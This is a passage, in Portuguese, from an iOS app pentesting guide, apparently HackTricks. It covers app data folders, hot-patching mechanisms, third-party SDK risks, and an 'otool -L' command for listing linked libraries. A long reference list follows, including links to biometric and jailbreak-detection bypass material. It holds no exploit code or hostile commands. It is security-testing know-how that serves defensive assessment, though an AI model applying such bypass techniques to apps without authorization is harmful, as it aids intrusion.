* **`iTunesMetadata.plist`**: Informações do aplicativo usadas na App Store
|
||
* **`/Library/*`**: Contém as preferências e cache. Em **`/Library/Cache/Snapshots/*`** você pode encontrar o snapshot realizado para o aplicativo antes de enviá-lo para o segundo plano.
|
||
|
||
### Hot Patching/Atualização Forçada
|
||
|
||
Os desenvolvedores podem **patchar todas as instalações de seu aplicativo instantaneamente** sem precisar reenviar o aplicativo para a App Store e esperar até que seja aprovado.\
|
||
Para esse propósito, geralmente é usado [**JSPatch**](https://github.com/bang590/JSPatch)**.** Mas há outras opções também, como [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||
**Esse é um mecanismo perigoso que pode ser abusado por SDKs de terceiros maliciosos, portanto, é recomendado verificar qual método é usado para atualizações automáticas (se houver) e testá-lo.** Você pode tentar baixar uma versão anterior do aplicativo para esse propósito.
|
||
|
||
### Terceiros
|
||
|
||
Um desafio significativo com **SDKs de terceiros** é a **falta de controle granular** sobre suas funcionalidades. Os desenvolvedores enfrentam uma escolha: integrar o SDK e aceitar todos os seus recursos, incluindo potenciais vulnerabilidades de segurança e preocupações com a privacidade, ou abrir mão de seus benefícios completamente. Muitas vezes, os desenvolvedores não conseguem corrigir vulnerabilidades dentro desses SDKs. Além disso, à medida que os SDKs ganham confiança na comunidade, alguns podem começar a conter malware.
|
||
|
||
Os serviços fornecidos por SDKs de terceiros podem incluir rastreamento de comportamento do usuário, exibição de anúncios ou melhorias na experiência do usuário. No entanto, isso introduz um risco, pois os desenvolvedores podem não estar totalmente cientes do código executado por essas bibliotecas, levando a potenciais riscos de privacidade e segurança. É crucial limitar as informações compartilhadas com serviços de terceiros ao que é necessário e garantir que nenhum dado sensível seja exposto.
|
||
|
||
A implementação de serviços de terceiros geralmente vem em duas formas: uma biblioteca independente ou um SDK completo. Para proteger a privacidade do usuário, quaisquer dados compartilhados com esses serviços devem ser **anonimizados** para evitar a divulgação de Informações Pessoais Identificáveis (PII).
|
||
|
||
Para identificar as bibliotecas que um aplicativo usa, o comando **`otool`** pode ser empregado. Esta ferramenta deve ser executada contra o aplicativo e cada biblioteca compartilhada que ele usa para descobrir bibliotecas adicionais.
|
||
```bash
|
||
otool -L <application_path>
|
||
```
|
||
## **Referências & Mais Recursos**
|
||
|
||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
||
* [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
|
||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/)
|
||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/)
|
||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/)
|
||
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
||
* [https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way](https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way)
|
||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/)
|
||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053)
|
||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/)
|
||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058)
|
||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060)
|
||
* [https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/](https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/)
|
||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
|
||
* [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
|
||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
|
||
* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) Curso gratuito de iOS ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||
* [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
|
||
* [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
|
||
* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
|
||
* [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
|
||
* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
|
||
* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< versão Objective-C [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< versão Swift
|
||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** da **comunidade mais avançada** do mundo.\
|
||
Acesse hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
|
||
{% hint style="success" %}
|
||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Suporte ao HackTricks</summary>
|
||
|
||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
{% endhint %}
|
||
</details>
|
||
{% endhint %}
|